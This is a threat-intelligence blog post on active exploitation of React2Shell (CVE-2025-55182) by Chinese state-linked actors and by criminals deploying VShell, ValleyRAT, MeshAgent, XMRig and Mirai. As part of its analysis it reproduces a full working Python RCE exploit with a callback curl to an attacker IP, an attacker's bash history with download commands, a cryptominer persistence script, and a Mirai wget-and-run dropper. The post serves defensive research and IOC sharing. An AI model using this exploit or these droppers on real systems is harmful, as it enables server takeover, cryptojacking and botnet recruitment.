React2Shell (CVE-2025-55182) actively exploited by threat actors
Threat Actor Enumeration and Exploitation
In our first blog, we detailed how researchers can scan for vulnerable React servers across the internet. We did this to assist in reporting at mass and to help raise visibility of the scope of the vulnerability.
Interestingly, during our research, we found multiple threat actors who, in real time, were using similar methods to enumerate React2Shell targets. We identified threat actors exploiting React2Shell varied in motivation and sophistication, from potential state-affiliated threats to finanically motivated cybercriminals deploying XMRig malware.
AWS reported within hours of public disclosure, multiple China state-nexus threat groups, including Earth Lamia and Jackpot Panda, had been exploiting CVE-2025-55182 for initial access.
In our own research, we have identified Chinese-actors strategically targeting domains in the Vietnamese government and education sectors. We have previously observed and reported similar victimology, where a Chinese-nexus actor compromised over 25 victim Vietnamese universities. These TTPs has similar overlap with Earth Lamia, which is one of the threat actors AWS attributed to exploiting React2Shell. Additionally, we identified additional Chinese groups targeting Brazilian organisations and goverment related domains.
We also identified threat actors exploiting React2Shell to deploy cryptomining malware and MeshAgent.
If you are interested in performing similar research yourself, or would like to recreate some of our findings, we recommend the hunting platform Hunt.io. Although you can identify active and historic open-directories using tools like Censys or Shodan, Hunt.io offers the unique advantage of archiving the files within their platform and giving capablity to use string-based searches across these archived ODs.
A big highlight of our blog is the abuse of VShell by Chinese threat actors. If you are interested in this malware, or how we’re able to retrieve this information on VShell from groups that have exposed their C2 databases, check out our previous blog!
Chinese TA 1
An open-directory, hXXp://180.210.220[.]54/ revealed a potential Chinese actor leveraged Nuclei to mass-scan for servers vulnerable to CVE-2025-55182, like we performed in Part 1.
This actor is using the the Nuceli rule CVE-2025-55182.yaml, that has led to the identification of multiple vulnerable targets.
The threat actor had ran multiple scans, but the above file hXXp://180.210.220[.]54/rstvn.txt shows indication of Vietnamese targeting. This same open-directory was hosting 2 Linux payloads, libhttp (ELF64) and vmtoolsd (ELF32).
VShell
The payloads libhttp and vmtoolsd were identified as loaders for VShell, which is a Chinese-based RAT, often linked to state-affiliated actors.
libhttp- bd79a967f2b525faf54ffeea94bf7abb9926209dc105dd1179231a02cee83f08vmtoolsd- 58c5ba117fec8531f3558bb6209ab3684038893da139e9c0e051c94f6a3c135d
C2: 198.252.107[.]249
Login Panel: hxxp://198.252.107[.]249:8082
Noteably, this IP address also has a service accessible for the Chinese tool, Asset Recon Lighthouse (ARL):
Chinese TA 2
We also identified another actor, operating from the IP address 47.89.245[.]170, that was leveraging Nuceli to identify a wider range of targets. Although the victim scan domains were wider scope, some files indicated clear targeting of Brazilian organisations.
Inspecting this adversaries .bash_history file, we can pull out the below interesting commands:
nuclei -l 6.txt -t CVE-2025-55182.yaml -vv -o result6.txt
nuclei -l sms.txt -t CVE-2025-55182.yaml -vv -o resultsms.txt
mv /root/dirsearch/CVE-2025-55182.yaml /root/55182/CVE-2025-55182.yaml
nuclei -l wazo.txt -t CVE-2025-55182.yaml -vv -o result.txt
nuclei -l rce.txt -t CVE-2025-55182.yaml -vv -o result.txt
nuclei -u https://104.237.153.50/ -t CVE-2025-55182.yaml -vv -o result.txt
nuclei -l 2.txt -t CVE-2025-55182.yaml -vv -o result.txt
nuclei -l 3.txt -t CVE-2025-55182.yaml -vv -o result.txt
nuclei -l 4.txt -t CVE-2025-55182.yaml -vv -o result4.txt
nuclei -l 5.txt -t CVE-2025-55182.yaml -vv -o result5.txt
curl -o ws_linux_i386 hxxp://146.88.129[.]138/ws_linux_i386
rm -rf ws_linux_i386
wget http://47.239.239[.]88:8055/ws_linux_i386
chmod 777 /tmp/ws_linux_i386
chmod 777 ws_linux_i386
We retrieved the above .bash_history from an open-directory that has since changed. This now hosts the following payloads:
This has lots of interesting malware and tooling, however the below to vshell payloads took interest!
ws_linux_amd64- d451970d27f70a17174cbd63b98a7f254a81d52042c96d2c46f9254865f9e7bcws_linux_i386- dd223e36dd914034fb9a56e8ab97523abc67cddf80c8d220dfd8edd41ad7402b
VShell
Both above payloads ws_linux_amd64 & ws_linux_i386 are loaders for VShell C2s hosted on 47.85.90[.]94. When run, the malware will first check for the existence of the file /tmp/log_de.log on disk. If this file exists, VShell will not be installed.
If it doesn’t exist, the loader will make a HTTP GET request to retrieve the XOR encrypted second stage:
As this isn’t encrypted, we can easily capture the traffic, manually extract and decrypt the HTTP response:
The extracted Go ELF binary is the core VShell payload, configured to communicate using WebSocket to 47.85.90[.]94, also over port 5200.
BitDefender Hijacking
Within the same open-directory that the above VShell payloads resides, we identified 3 interesting files:
bd.exe- 4b73e036302efa51c243584b8d8b0aa460e43a95ce641b62c378892279a620c8bdimgui.exe- d064ded9a077e372d4b5b7422f32972c4c9243b3664b97870cff9e4b174b9aeeimguiym.dll- ab03ac6609b58b8024acb80e95f7e3e88344639cce7e333d62c851a37e29e72c
Stage 1 (imguiym.dll)
The file imguiym.dll is not a legitimate Bitdefender DLL, but a loader for a ValleyRAT. This sample uses API hashing to resolve functions for kernel32.dll & msvcrt.dll and conditional Ntdll unhooking. The ValleyRAT payload is XOR encrypted and extracted from a Base64 blob within the binary on execution, dynamically being loaded.
API hashing
- Walking the PEB to extract
kernel32.dll’s exports
- API hashing function
def api_hash(function_name):
h = 7759
for ch in function_name:
h = (33 * h + ord(ch)) & 0xFFFFFFFF
return h
We can recreate this in Python, pass all kernel32.dll exported functions in, and use the output hashes to resolve to readable functions:
Resolving the rest of the functions, we can be in a position to clearly see how the final ValleyRAT PE is extracted and ran.
NTDLL unhooking
After the APIs are resolved, the function GetModuleHandle() is used to check whether the DLL atcuf32.dll has been loaded into the current process. If this DLL hasn’t been loaded, the malware will proceed with unhooking by finding the currently loaded ntdll.dll module using GetModuleHandleA & K32GetModuleInformation, map a clean ntdll.dll image from disk to memory with CreateFileA, CreateFileMappingA & MapViewOfFile. Then, VirtualProtect is used to modify in-memory .text to RWX, before it is overwritten with memcpy and permissions reverted:
Decoding/Decryption
The function imguiym.dll exports, StopHook, is used to begin the decryption and loading of ValleyRAT:
The encrypted blob is located within the binary and can be easily extracted for local decoding:
We can Base64 decode and XOR decrypt with 0xF3 to reveal the second stage:
Stage 2 - ValleyRAT
Inspecting the sample, we can observed interesting strings within the hexdump of the binary:
From the above, and a fantastic technical analysis by ZScaler, that provided the below configuration details:
We can vibe-code a simple config extractor to carve out those sexy |key:value| pairs, where the C2 IP address resides (string reversed):
There was similar DLLs located within this same directory, likely sideloaded too. We haven’t analysed all of these payloads in the open-directory, but we might in a future blog if they are interesting.
Chinese TA 3
We have been interested in groups abusing VShell for some time now and are actively tracking a few actors of interest. One of these groups primarily targets Brazilian organisations and government entities. If you are interested in IOCs or further details surrounding this group, please don’t hesitate to reach out.
I want to highlight we have no concrete evidence of React2Shell enumeration or exploitiation from this group, however, in some cases, VShell might have been deployed via exploitation of a
Next.jsserver. The timing, tradecraft and victimology is noteable regardless:
Tradecraft & Tooling
We recovered evidence to suggest this threat actor had actively been inside AD domains of Brazilian government entities. For the scope of this blog, this group was observed leveraging some of the below tools:
-
Chinese developed suo5 .jsp based web-tunnels / proxies
-
Chinese developed rem proxy, alternative to
frp -
Chinese developed netspy for network discovery
-
Custom batch scripts for network discovery using ICMP
-
Additionally leveraging Silver for C2
Scanning & MeshAgent
We identifed an open-directory, hXXp://86.54.42[.]146:8080/ linked with an unknown actor leveraging a POC exploit script to test exploitation:
POC
At the bottom of the POC script, we can see the command curl -ks 86.54.42.146:8080 will be ran on successful execution. This will trigger a HTTP request to port 8080, which was the exposed open-directory.
#!/usr/bin/env python3
"""
CVE-2025-55182 - React Server Components RCE Exploit
Python implementation for exploiting vulnerable React applications
Vulnerability: Pre-authentication Remote Code Execution in react-server-dom-webpack@19.0.0
Author: rez
Credits: maple3142 (https://github.com/maple3142), react2shell(react2shell.com)
"""
import requests
import sys
def exploit_rce(url, command):
headers = {
"Host": "localhost",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
"Next-Action": "x",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
}
payload_json = (
'{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{'
f'"_prefix":"process.mainModule.require(\'child_process\').execSync(\'{command}\');",'
'"_formData":{"get":"$1:constructor:constructor"}}}'
)
data = (
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data; name=\"0\"\r\n"
"\r\n"
f"{payload_json}\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data; name=\"1\"\r\n"
"\r\n"
"\"$@0\"\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"
)
try:
print(f"[*] Sending RCE payload to {url}...")
print(f"[*] Command: {command}")
response = requests.post(url, headers=headers, data=data, timeout=10)
print(f"[*] Status Code: {response.status_code}")
print(f"[*] Response Body Preview: {response.text[:500]}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
target_url = "https://REDACTED/" # Online Healthcare Victim
cmd = "curl -ks 86.54.42[.]146:8080" # Default command
if len(sys.argv) > 1:
cmd = sys.argv[1]
if len(sys.argv) > 2:
target_url = sys.argv[2]
exploit_rce(target_url, cmd)
Noteably, we can see this same IP address is also hosting a MeshAgent server:
This morning, Christan Beek from Rapid7 shared that they had observed MeshAgent deployed following React2Shell exploitation:
Cryptojacking
sex.sh
We observed a threat actor exploit Next.js servers in an attempt to deploy cryptojacking malware. Additionally, threat actors used compromised sites to create open-directories to host sex.sh scripts:
#!/bin/bash
# Configuration
TAR_FILE="kal.tar.gz"
EXTRACT_DIR="xmrig-6.24.0"
BINARY_PATH="$(pwd)/$EXTRACT_DIR/xmrig"
ARGS="--url pool.hashvault.pro:443 --user 88tGYBwhWNzGesQs5QkwE1PdBa1tXGb9dcjxrdwujU3SEs3i7psaoJc4KmrDvv4VPTNtXazDWGkvGGfqurdBggvPEhZ43DJ --pass next --donate-level 0 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14"
SERVICE_NAME="system-update-service"
# Download and setup if not already present
if [ ! -f "$BINARY_PATH" ]; then
curl -L -o "$TAR_FILE" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz
tar xvzf "$TAR_FILE"
fi
chmod +x "$BINARY_PATH"
# Attempt systemd setup
INSTALLED_SYSTEMD=0
if [ "$(id -u)" -eq 0 ] && command -v systemctl >/dev/null 2>&1; then
echo "Root privileges detected. Attempting systemd setup..."
SERVICE_FILE="/etc/systemd/system/${SERVICE_NAME}.service"
cat <<EOF > "$SERVICE_FILE"
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=${BINARY_PATH} ${ARGS}
Restart=always
RestartSec=10
User=root
[Install]
WantedBy=multi-user.target
EOF
[...REDACTED...]
We can see this attempts to install an XMRig binary as a service system-update-service:
- Pool:
pool.hashvault[.]pro - Address:
88tGYBwhWNzGesQs5QkwE1PdBa1tXGb9dcjxrdwujU3SEs3i7psaoJc4KmrDvv4VPTNtXazDWGkvGGfqurdBggvPEhZ43DJ
We often observe threat actors hosting the sex.sh payload after creating an open-directory on compromised Next.js sites.
hXXp://216.158.232[.]43:12000/sex.sh - 88tGYBwhWNzGesQs5QkwE1PdBa1tXGb9dcjxrdwujU3SEs3i7psaoJc4KmrDvv4VPTNtXazDWGkvGGfqurdBggvPEhZ43DJ
hXXp://212.69.85[.]41/sex.sh - 88tGYBwhWNzGesQs5QkwE1PdBa1tXGb9dcjxrdwujU3SEs3i7psaoJc4KmrDvv4VPTNtXazDWGkvGGfqurdBggvPEhZ43DJ
hXXp://212.69.85[.]41/sex.sh.1 - 8BWy7pgane96sLATF7nESM4ehZEtYAFNpYFAm88zftVsJ5jxFBdGVBrd1igptedXejfomPEpJvGUKU1etmkNBXmU5HkPR6e
hXXp://57.128.216[.]24:8881/sex.sh - 88tGYBwhWNzGesQs5QkwE1PdBa1tXGb9dcjxrdwujU3SEs3i7psaoJc4KmrDvv4VPTNtXazDWGkvGGfqurdBggvPEhZ43DJ
hXXp://177.84.130[.]195/sex.sh - 88tGYBwhWNzGesQs5QkwE1PdBa1tXGb9dcjxrdwujU3SEs3i7psaoJc4KmrDvv4VPTNtXazDWGkvGGfqurdBggvPEhZ43DJ
hXXp://68.178.168[.]171/sex.sh - 88tGYBwhWNzGesQs5QkwE1PdBa1tXGb9dcjxrdwujU3SEs3i7psaoJc4KmrDvv4VPTNtXazDWGkvGGfqurdBggvPEhZ43DJ
hXXp://146.190.35[.]87/sex.sh 88tGYBwhWNzGesQs5QkwE1PdBa1tXGb9dcjxrdwujU3SEs3i7psaoJc4KmrDvv4VPTNtXazDWGkvGGfqurdBggvPEhZ43DJ
Botnet
hXXp://209.141.49[.]251/sex.sh
This was different from the other sex.sh campaigns. This script will install Mirai malware for corresponding architectures, enrolling the machine into a botnet.
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://209[.]141[.]49[.]251/mips; chmod +x mips; ./mips; rm -rf mips
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://209[.]141[.]49[.]251/mipsel; chmod +x mipsel; ./mipsel; rm -rf mipsel
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://209[.]141[.]49[.]251/sh4; chmod +x sh4; ./sh4; rm -rf sh4
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://209[.]141[.]49[.]251/x86; chmod +x x86; ./x86; rm -rf x86
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://209[.]141[.]49[.]251/arm61; chmod +x arm61; ./arm61; rm -rf arm61
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://209[.]141[.]49[.]251/i686; chmod +x i686; ./i686; rm -rf i686
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://209[.]141[.]49[.]251/ppc; chmod +x ppc; ./ppc; rm -rf ppc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://209[.]141[.]49[.]251/586; chmod +x 586; ./586; rm -rf 586
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://209[.]141[.]49[.]251/m68k; chmod +x m68k; ./m68k; rm -rf m68k
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://209[.]141[.]49[.]251/dc; chmod +x dc; ./dc; rm -rf dc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://209[.]141[.]49[.]251/dss; chmod +x dss; ./dss; rm -rf dss
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://209[.]141[.]49[.]251/co; chmod +x co; ./co; rm -rf co
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://209[.]141[.]49[.]251/scar; chmod +x scar; ./scar; rm -rf scar
Based on some of the strings seen in the binary, whoever is operating this Mirai fork is well acquainted with the community surrounding it, making references to Paras one of the Original Mirai authors, Lizard Squad and Nexus Zeta, the author of satori.
Man-in-the-Botnet
The bot opens a TCP connection to the hardcoded C2 endpoint, in this case 205.185.121.141:23, then sends a basic header where information about the bot will be sent to the C2:
[4] marker / version
[1] id_len
[N] id bytes
After, the bot will wait for data to be received, and if so, will perform said command. Referencing the Mirai source-code, and dabbling in so me vibe-coding, it’s possible to create a Python script to automate the sending of the headers and extraction of commands sent. We haven’t spent time reversing the malware or analysing too deeply, so we don’t the specific structure that this server will send, although we were able to recreate methods and intercept the DDOS requests sent to victims:
Some poor kid getting DDOSed :(
Please see here for the Botnet Monitor script. It may need modification for other samples.
IOCs
Please see here for collated indicators.